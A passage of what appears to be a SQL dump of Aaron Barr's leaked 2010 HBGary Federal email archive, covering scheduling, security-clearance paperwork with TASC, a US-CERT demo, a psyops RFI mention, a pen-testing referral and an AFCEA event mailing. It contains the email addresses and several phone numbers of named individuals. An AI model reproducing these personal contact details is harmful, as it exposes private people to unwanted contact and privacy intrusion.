message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/13/10\r\n02:32:00\r\n\r\n',10472,'aaron_hbgary_com/10472.html'),(5274,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003855.M819104P14101Q129.eml','\"Ted Vera\" <ted@hbgary.com>','Logo I made','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8555,'aaron_hbgary_com/8555.html'),(5275,'2010-04-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003856.M636951P14101Q130.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Logo I made','Stick to your day job, lol\r\n\r\n\r\n\r\nOn Apr 13, 2010, at 12:55 PM, Aaron Barr  wrote:\r\n\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n> \r\n',710,'aaron_hbgary_com/710.html'),(5276,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003856.M861255P14101Q131.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Logo I made',':(\r\n\r\n From my iPhone\r\n\r\nOn Apr 13, 2010, at 2:58 PM, Ted Vera  wrote:\r\n\r\n> Stick to your day job, lol\r\n>\r\n>\r\n>\r\n> On Apr 13, 2010, at 12:55 PM, Aaron Barr  wrote:\r\n>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>> \r\n',7914,'aaron_hbgary_com/7914.html'),(5277,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003857.M143786P14101Q132.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Logo I made','Did I mention that the guy from the interview today asked me what my\r\nopinions were of Kathy warden being on the group.\r\n\r\nThat should be fun.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Apr 13, 2010, at 2:58 PM, Ted Vera  wrote:\r\n\r\n> Stick to your day job, lol\r\n>\r\n>\r\n>\r\n> On Apr 13, 2010, at 12:55 PM, Aaron Barr  wrote:\r\n>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>> \r\n',14574,'aaron_hbgary_com/14574.html'),(5278,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003857.M362490P14101Q133.eml','\"Bill Varner\" <Bill.Varner@ManTech.com>','ExecutiveBiz','Hi Bill,\r\n\r\nThank you for recommending me to the cyber group.  Based on my conversations with the folks there today I understand my company doesn\'t fit the standard size profile.  If there is room at the table with the big boys :) I would be happy to participate and promise to contribute.\r\n\r\nHope all is well.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10732,'aaron_hbgary_com/10732.html'),(5279,'2010-04-13','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297003857.M626822P14101Q134.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Discussion VA/PT','how about 4pm eastern?\r\n\r\n- Ira\r\n\r\n\r\n\r\n\r\nOn Apr 13, 2010, at 2:39 PM, Aaron Barr wrote:\r\n\r\nsure the rest of my afternoon is free.  What time?\r\n\r\nAaron\r\n\r\nOn Apr 13, 2010, at 2:37 PM, Ira Entis wrote:\r\n\r\n> Are you free this afternoon to speak?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',2762,'aaron_hbgary_com/2762.html'),(5280,'2010-04-13','sdshook@yahoo.com','/aaron@hbgary.com/new/1297003858.M451730P14101Q135.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Do you do Web Site testing?','That\'s right, thanksI am open after 2pm today or tomorrowJust buzz me at 4258915281Thanks - Shane Sent via BlackBerry from T-MobileFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 13 Apr 2010 14:35:37 -0400To: Penny Leavy-Hoglund&lt;penny@hbgary.com&gt;Cc: &lt;sdshook@yahoo.com&gt;Subject: Re: Do you do Web Site testing?Hey Shane,You and I talked a while back (with Ted Vera) about standing up an IR capability and partnering with PwC to help. &nbsp;Going after some long term contracts has distracted us but Ted and I are still focused on setting up that business. &nbsp;Since we are a new company our approach has been to hunt and kill some longer term contracts so we could build a labor base to bid shorter term engagements.If we had someone that could actually pull work based on experience and recognition, well that might work as well. &nbsp;Regardless, probably worth touching base to discuss.What is your schedule like the next few days?AaronOn Apr 9, 2010, at 7:39 PM, Penny Leavy-Hoglund wrote:He heads up HBGary Federal and he was at NG TASC.&nbsp; I think you guys talked.&nbsp;&nbsp;From:&nbsp;sdshook@yahoo.com&nbsp;[mailto:sdshook@yahoo.com]&nbsp;Sent:&nbsp;Friday, April 09, 2010 4:37 PMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;\'Aaron Barr\'Subject:&nbsp;Re: Do you do Web Site testing?&nbsp;I do yes, I typically roll it through Joel\'s company as they are config\'d to support it. But I do the work of course.Aaron - why do I know your name?&nbsp;- ShaneSent via BlackBerry from T-MobileFrom:&nbsp;\"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;Date:&nbsp;Fri, 9 Apr 2010 16:31:45 -0700To:&nbsp;\'Shane Shook\'&lt;sdshook@yahoo.com&gt;Cc:&nbsp;\'Aaron Barr\'&lt;aaron@hbgary.com&gt;Subject:&nbsp;Do you do Web Site testing?&nbsp;Do you do web pen testing?&nbsp; Or mostly forensic stuff?&nbsp; Aaron might have jobs for you&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',14427,'aaron_hbgary_com/14427.html'),(5281,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003858.M676605P14101Q136.eml','\"Ira Entis\" <Ira.Entis@agilex.com>','Re: Discussion VA/PT','Sounds good.\r\n\r\n From my iPhone\r\n\r\nOn Apr 13, 2010, at 3:14 PM, Ira Entis  wrote:\r\n\r\n> how about 4pm eastern?\r\n>\r\n> - Ira\r\n>\r\n>\r\n>\r\n>\r\n> On Apr 13, 2010, at 2:39 PM, Aaron Barr wrote:\r\n>\r\n> sure the rest of my afternoon is free.  What time?\r\n>\r\n> Aaron\r\n>\r\n> On Apr 13, 2010, at 2:37 PM, Ira Entis wrote:\r\n>\r\n>> Are you free this afternoon to speak?\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n',3845,'aaron_hbgary_com/3845.html'),(5282,'2010-04-13','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297003858.M895518P14101Q137.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Discussion VA/PT','You can reach me at 703-957-0001\r\n\r\n- Ira\r\n\r\n\r\n\r\n\r\nOn Apr 13, 2010, at 3:23 PM, Aaron Barr wrote:\r\n\r\nSounds good.\r\n\r\nFrom my iPhone\r\n\r\nOn Apr 13, 2010, at 3:14 PM, Ira Entis  wrote:\r\n\r\n> how about 4pm eastern?\r\n> \r\n> - Ira\r\n> \r\n> \r\n> \r\n> \r\n> On Apr 13, 2010, at 2:39 PM, Aaron Barr wrote:\r\n> \r\n> sure the rest of my afternoon is free.  What time?\r\n> \r\n> Aaron\r\n> \r\n> On Apr 13, 2010, at 2:37 PM, Ira Entis wrote:\r\n> \r\n>> Are you free this afternoon to speak?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> \r\n\r\n',7614,'aaron_hbgary_com/7614.html'),(5283,'2010-04-13','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297003859.M396893P14101Q138.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Checking in','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nWe are meeting with Abraxas and Cipher on Thursday.&nbsp; I have\r\nnot talked to Lincoln or ManTech.&nbsp; We are still working on those.&nbsp; Thanks\r\nfor the tip on IMGnetworks (John can you contact them?).\r\n\r\n&nbsp;\r\n\r\nI&#8217;ll see about getting a new badge but it won&#8217;t be\r\nuntil next week.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nChris \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, April 13, 2010 12:35 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Checking in\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Chris,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChecking in again, seeing how things are going. &nbsp;Ted is\r\nworking on his SF86 and will get it to you shortly.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAny chance I can get put in for an indoc for a new badge?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDid you guys touch base with Lincoln group? or Mantech?\r\n&nbsp;Also might want to check out a company IMGnetworks. &nbsp;They supposedly\r\nhave cleared folks I think, while their samples off their website aren\'t\r\nfabulous, they have some capability with past performance in the area.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 5, 2010, at 3:06 PM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI got the OK from my boss.&nbsp; Can we get Ted to fill out a\r\nnew SF86?&nbsp; I can start the other paperwork here.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, April 05,\r\n2010 9:59 AM\r\nTo:&nbsp;Clair, Chris (TASC)\r\nSubject:&nbsp;Re: Checking in\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI think him cleared would be very helpful. &nbsp;Let me know\r\nhow you want to proceed.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 1, 2010, at 11:58 AM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nIs there anything we want to do with Ted\'s clearance?&nbsp; I think I can get\r\nthe OK from my customer to initiate a new clearance.&nbsp; From what I\r\nunderstand, Ted is very instrumental in the COIN processes.&nbsp; Let me know\r\nwhat you think.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 4/1/2010 10:38 AM\r\nTo: Lovegrove, John (TASC)\r\nCc: Clair, Chris (TASC); Garcia, Kathy (TASC)\r\nSubject: Re: Checking in\r\n\r\nI haven\'t I will check.\r\n\r\n\r\n&nbsp;From my iPhone\r\n\r\nOn Apr 1, 2010, at 9:37 AM, &quot;Lovegrove, John (TASC)&quot; &lt;John.Lovegrove@tasc.com\r\n&nbsp;&gt; wrote:\r\n\r\n&gt; Hey Aaron,\r\n&gt;\r\n&gt; We are still pulling the team together on COIN, we have a follow up\r\n&gt; discussion with SAIC tomorrow. I got a random report that the\r\n&gt; competition was cancelled, did you hear anything about this?\r\n&gt;\r\n&gt;\r\n&gt; John Lovegrove\r\n&gt; Director\r\n&gt; Office: (703) 449-3812\r\n&gt; Cell: (571) 294-5154\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; TASC INTERNAL DISTRIBUTION ONLY\r\n&gt; This e-mail, including attachments, is intended for the exclusive\r\n&gt; use of\r\n&gt; the person or entity to whom it is addressed and may contain\r\n&gt; confidential or privileged information. If the reader of this e-mail\r\n&gt; is\r\n&gt; not the intended recipient or his or her authorized agent, the\r\n&gt; reader is\r\n&gt; hereby notified that any dissemination, distribution or copying of\r\n&gt; this\r\n&gt; e-mail is prohibited. If you think that you have received this e-\r\n&gt; mail in\r\n&gt; error, please advise the sender by reply e-mail of the error and then\r\n&gt; delete this e-mail immediately.\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Monday, March 29, 2010 2:01 PM\r\n&gt; To: Lovegrove, John (TASC)\r\n&gt; Subject: Checking in\r\n&gt;\r\n&gt; Hey John,\r\n&gt;\r\n&gt; Just turnednin my DARPA proposal, decpressedfor a few minutes, then\r\n&gt; started thinking about all the other stuff going on.&nbsp; What is the\r\n&gt; status of your COIN effort and when would you like to set up anyone to\r\n&gt; talk about NSA?\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4842,'aaron_hbgary_com/4842.html'),(5284,'2010-04-13','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003859.M658001P14101Q139.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','RE: Meeting with US-CERT','We can do a webex as well, which might be good if you can get Shawn or Greg\r\nShawn wrote Recon and I know they got the meeting on that\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, April 13, 2010 11:30 AM\r\nTo: Bob Slapnik\r\nCc: Penny Leavy\r\nSubject: Meeting with US-CERT\r\n\r\nBob,\r\n\r\nCan you make a meeting with US-CERT on the 21st in the morning.  GD is going\r\nto take us in to demo to US-CERT but neither Phil or RIch are available.\r\n\r\nI am going to get on the phone with Phil tomorrow and go over some demo\r\nstuff and am feeling pretty good with the material but not sure how RE\r\nknowledgeable the audience will be (my guess is not too much).\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',4427,'aaron_hbgary_com/4427.html'),(5285,'2010-04-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003859.M911057P14101Q140.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Checking in','Great.  Are u aware of the psyops rfi for socom?  We are submitting capabilities.  How did meetimg with EDS go?Aaron  From my iPhoneOn Apr 13, 2010, at 3:52 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n \r\n\r\nWe are meeting with Abraxas and Cipher on Thursday.  I have\r\nnot talked to Lincoln or ManTech.  We are still working on those.  Thanks\r\nfor the tip on IMGnetworks (John can you contact them?).\r\n\r\n \r\n\r\nI’ll see about getting a new badge but it won’t be\r\nuntil next week.\r\n\r\n \r\n\r\nThanks,\r\n\r\n \r\n\r\nChris \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, April 13, 2010 12:35 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Checking in\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHey Chris,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nChecking in again, seeing how things are going.  Ted is\r\nworking on his SF86 and will get it to you shortly.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAny chance I can get put in for an indoc for a new badge?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDid you guys touch base with Lincoln group? or Mantech?\r\n Also might want to check out a company IMGnetworks.  They supposedly\r\nhave cleared folks I think, while their samples off their website aren&#39;t\r\nfabulous, they have some capability with past performance in the area.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 5, 2010, at 3:06 PM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI got the OK from my boss.  Can we get Ted to fill out a\r\nnew SF86?  I can start the other paperwork here.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 05,\r\n2010 9:59 AM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Checking in\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI think him cleared would be very helpful.  Let me know\r\nhow you want to proceed.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 1, 2010, at 11:58 AM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nIs there anything we want to do with Ted&#39;s clearance?  I think I can get\r\nthe OK from my customer to initiate a new clearance.  From what I\r\nunderstand, Ted is very instrumental in the COIN processes.  Let me know\r\nwhat you think.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 4/1/2010 10:38 AM\r\nTo: Lovegrove, John (TASC)\r\nCc: Clair, Chris (TASC); Garcia, Kathy (TASC)\r\nSubject: Re: Checking in\r\n\r\nI haven&#39;t I will check.\r\n\r\n\r\n From my iPhone\r\n\r\nOn Apr 1, 2010, at 9:37 AM, &quot;Lovegrove, John (TASC)&quot; &lt;John.Lovegrove@tasc.com\r\n &gt; wrote:\r\n\r\n&gt; Hey Aaron,\r\n&gt;\r\n&gt; We are still pulling the team together on COIN, we have a follow up\r\n&gt; discussion with SAIC tomorrow. I got a random report that the\r\n&gt; competition was cancelled, did you hear anything about this?\r\n&gt;\r\n&gt;\r\n&gt; John Lovegrove\r\n&gt; Director\r\n&gt; Office: (703) 449-3812\r\n&gt; Cell: (571) 294-5154\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; TASC INTERNAL DISTRIBUTION ONLY\r\n&gt; This e-mail, including attachments, is intended for the exclusive\r\n&gt; use of\r\n&gt; the person or entity to whom it is addressed and may contain\r\n&gt; confidential or privileged information. If the reader of this e-mail\r\n&gt; is\r\n&gt; not the intended recipient or his or her authorized agent, the\r\n&gt; reader is\r\n&gt; hereby notified that any dissemination, distribution or copying of\r\n&gt; this\r\n&gt; e-mail is prohibited. If you think that you have received this e-\r\n&gt; mail in\r\n&gt; error, please advise the sender by reply e-mail of the error and then\r\n&gt; delete this e-mail immediately.\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Monday, March 29, 2010 2:01 PM\r\n&gt; To: Lovegrove, John (TASC)\r\n&gt; Subject: Checking in\r\n&gt;\r\n&gt; Hey John,\r\n&gt;\r\n&gt; Just turnednin my DARPA proposal, decpressedfor a few minutes, then\r\n&gt; started thinking about all the other stuff going on.  What is the\r\n&gt; status of your COIN effort and when would you like to set up anyone to\r\n&gt; talk about NSA?\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1488,'aaron_hbgary_com/1488.html'),(5286,'2010-04-13','\"Ken Butts\" <kenneth.butts@ngc.com>','/aaron@hbgary.com/new/1297003860.M219367P14101Q141.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Ken Butts has indicated you are a Colleague at Northrop Grumman Information Systems:\r\n\r\n  \r\n    Since you are a person I trust, I wanted to invite you to join my network on LinkedIn.\r\n  \r\n\r\n  &nbsp;\r\n\r\n    \r\n      \r\n          \r\n            Accept\r\n          \r\n           \r\n                View invitation from Ken Butts\r\n          \r\n      \r\n    \r\n\r\n   \r\n   &nbsp;\r\n   \r\n   DID YOU KNOW LinkedIn can help you find the right service providers using recommendations from your trusted network? Using LinkedIn Services, you can take the risky guesswork out of selecting service providers by reading the recommendations of credible, trustworthy members of your network. \r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',10712,'aaron_hbgary_com/10712.html'),(5287,'2010-04-13','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297003860.M813277P14101Q142.eml','aaron@hbgary.com','Less than 24 hrs left to register for Naval IT Day - Apr 15, Sheraton Tysons - See Speaker and Small Business Line-up','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n5\r\n\r\n   \r\n    \r\n     \r\n        Follow \r\n          AFCEA NOVA on\r\n          \r\n           \r\n          flickr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;facebook\r\n           \r\n          twitter&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LinkedIn\r\n\r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     Less than 24 hrs left to register.  Closes Wed at 11am.  Lower rate is still open online thanks to the generosity of our sponsors.The \r\n        9th Annual AFCEA NOVA\r\n        Naval IT Day\r\n        Naval Changes: Information Dominance, Capitalization \r\n        &amp; the Warfighter\r\n      April \r\n        15, 2010 - 8am-5pm\r\n        Sheraton Premiere, Tysons Corner\r\n      afceanova.org/navalitday\r\n      Speakers\r\n      \r\n         Hon. \r\n          Robert O. Work, Under Secretary of the Navy\r\n        Hon. \r\n          Sean J. Stackley \r\n          - Assistant Secretary of the Navy (ASN), Research, Development, and \r\n          Acquisition (RDA)\r\n        VADM \r\n          Samuel J. Locklear III, USN - Director, Navy Staff (invited)\r\n        Mr. \r\n          Robert Carey - Chief Information Officer, Department \r\n          of the Navy (DON CIO)\r\n        MajGen \r\n          George J. Allen, USMC - Director for Command, Control, \r\n          Communications &amp; Computers &amp; Chief Information Officer (Dir \r\n          C4/CIO), U.S. Marine Corps\r\n        Mr. \r\n          David W. Weddel - Deputy to the Deputy Chief of Naval \r\n          Operations, Information Dominance (N2/N6B)\r\n        Dr. \r\n          Gary Federici - Deputy Assistant Secretary of the Navy \r\n          for, Command, Control, Communications, Computers, Intelligence, Information \r\n          Operations and Space (DASN C4I/IO/Space)\r\n        RDML \r\n          Margaret D. &quot;Peg&quot; Klein, USN - Director of \r\n          Global Operations Officer, Naval Network Warfare Command (NETWARCOM)\r\n        BGen \r\n          David H. Berger, USMC - Director, Operations Division, \r\n          Headquarters, U.S. Marine Corps\r\n        Mr. \r\n          Charles E. Cook - Assistant Deputy Commandant; &amp; \r\n          Deputy Director, Programs Division, Programs and Resources Department\r\n        Mr. \r\n          John D. Burrow - Executive Director, Marine Corps Systems \r\n          Command (MARCORSYSCOM)\r\n        Mr. \r\n          Mark Andress - Director, Knowledge Dominance, OPNAV \r\n          N2/6\r\n        CAPT \r\n          John Pope, USN - Acting Program Executive Officer, Command, \r\n          Control, Communications &amp; Intelligence (PEO C4I)\r\n        CAPT \r\n          Jim Hirst, USN - Deputy Commander, Space Field Activity \r\n          (SSFA), Space and Naval Warfare Systems Command (SPAWAR)\r\n      \r\n      Small \r\n        Business Program\r\n         \r\n        (runs parallel to the main stage program)\r\n      \r\n        CAPT \r\n          P. Gardner Howe III, USN, U.S. Special Operations Command\'s \r\n          Director of Legislative Affairs - IT needs of special forces \r\n          (Seals)\r\n        Phillip \r\n          B. Stiles \r\n          - OPNAV 402D Enterprise Solutions Champion - Logistics\r\n        Oreta \r\n          Stinson, Deputy Director, Small Business Programs, Office \r\n          of the Secretary of the Navy\r\n        CAPT \r\n          Thomas Ryan - OPNAV N41 - changes to Navy \r\n          acquisition policy and strategy, &amp; opportunities\r\n        MGySgt \r\n          Byron M. Bissessar - Communications Chief of the Marine \r\n          Corps Command, Control, Communications &amp; Computers (C4 HQMC)- Marine \r\n          Corps IT operations and opportunities\r\n        Dave \r\n          Dawson - MARCORSYSCOM Roundable\r\n        Stan \r\n          Daise - MARCOR I&amp;L Roundable\r\n        Sarkis \r\n          Tatigian - NAVSEA Roundable\r\n        Faye \r\n          Esaias - SPAWAR Roundable\r\n        Brenda \r\n          Pickett - ONR Roundable\r\n        Lockheed \r\n          Martin - Prime Contracting \r\n          Roundable\r\n        CACI \r\n          - Prime Contracting Roundable\r\n        General \r\n          Counsel \r\n           \r\n          - Small Business legal issues and initiatives \r\n          Roundable\r\n      \r\n      Register \r\n        to Sponsor Naval IT Day\r\n      